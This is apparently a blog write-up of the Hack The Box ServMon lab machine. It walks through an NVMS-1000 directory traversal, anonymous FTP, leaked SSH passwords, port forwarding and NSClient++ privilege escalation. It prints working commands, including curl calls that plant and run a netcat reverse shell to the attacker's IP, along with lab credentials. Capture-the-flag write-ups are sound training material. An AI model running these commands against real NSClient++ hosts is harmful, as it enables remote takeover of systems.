There are a lot of ports open.

FTP seems quite interesting but we will visit it afterwards.

The first thing i always do is visit the website.So I did that only.

Hackthebox ServMon writeup

Searching exploit for NVMS-1000

And we get to the NVMS-1000 login page.

So I looked for the exploit

And got the exploit.

https://www.exploit-db.com/exploits/47774
Hackthebox ServMon writeup

Directory Traversal(Using Burp just POC)

So lets try this poc(proof of concept) inside burp .

I captured the GET request .

Hackthebox ServMon writeup

FTP enumeration

It looks like POC is woking.

So now it for time for enumerating information about the directories.

Lets look at ftp.

 root@nagendra:~/Desktop/htb/ServMon# ftp 10.10.10.184
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.

ftp> ls

125 Data connection already open; Transfer starting.
01-18-20 12:10PM 186 Notes to do.txt
226 Transfer complete.

I was able to login anonymously and got some .txt files so i downloaded them with the help of get file_name command .

root@nagendra:~/Desktop/htb/ServMon# cat Confidential.txt 
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine

This means that Passwords are on Nathan’s Desktop.

root@nagendra:~/Desktop/htb/ServMon# cat 'Notes to do.txt' 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Extracting passwords Using Directory Traversal

Lets leave it for a second and lets get those pass.txt

Hackthebox ServMon writeup

SSH login into Nadine(user.tx)

So now we have the passwords so lets trying login with them.

And i found that one of the password was for User Nadine

Nadine:L1k3B1gBut7s@W0rk

Let login into ssh .

Hackthebox ServMon writeup

We can now read the user.txt

Revising FTP and Nmap enumerations

For privilege escalation let’s look at Notes to do.txt

Hackthebox ServMon writeup

It says lock down NSClient Acess

It means NSClient is running on the machine.Moreover Nmap aslo showed that port 8443(https) is open.May be Nsclient be running on that port.

So let’s visit it .

Checking Service on port 8443

Hackthebox ServMon writeup

Local port forwarding through SSH

This means that it is running locally on the machine.

So lets do local port forwarding through ssh

ssh -L 8443:127.0.0.1:8443 [email protected]

And now visit the site

https://10.10.10.184:8443/
Hackthebox ServMon writeup

Going into advance and allowing it got me to nsclient++

Hackthebox ServMon writeup

Searching exploit for NSClient++

So let’s find the exploits of it on google.

And found a exploit which can work.

https://www.exploit-db.com/exploits/46802
Hackthebox ServMon writeup

Exploiting NSClient with CLI

So i started following it.

cd c:\program files\nsclient++
type nsclient.ini
Hackthebox ServMon writeup

Here is the full file

And got the password

password = ew2x6SsGTxjRwXOT

Now lets uploads all the tools and script needed for the exploit in the temp directory.

I used scp that purpose

Hackthebox ServMon writeup
scp nc.exe [email protected]:/Temp/nc.exe

Now according to the exploit we have to create a .bat file.

I did the further steps from terminal only as the website was down every time.

curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/testing1.bat --data-binary "C:\Temp\nc64.exe 10.10.14.20 4444 -e cmd.exe"
curl -s -k -u admin:ew2x6SsGTxjRwXOT https://localhost:8443/api/v1/queries/testing1/commands/execute?time=3m
-s --silent Silent mode
-k, --insecure Allow insecure server connections when using SSL
-u username
-X, --request Specify request command to use

The path can be know through the api or the website .Its also something of hit an trial moreover i took help of google to understand the directory structure .

Hackthebox ServMon writeup

And on the nc we must get a reverse shell

Getting Root.txt

Hackthebox ServMon writeup

Lets read the root.txt

C:\Users>cd Administrator
cd Administrator
C:\Users\Administrator>cd Desktop
cd Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
a764609167###########942
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>

Thanks for reading the writeup.If you liked it please show your support.
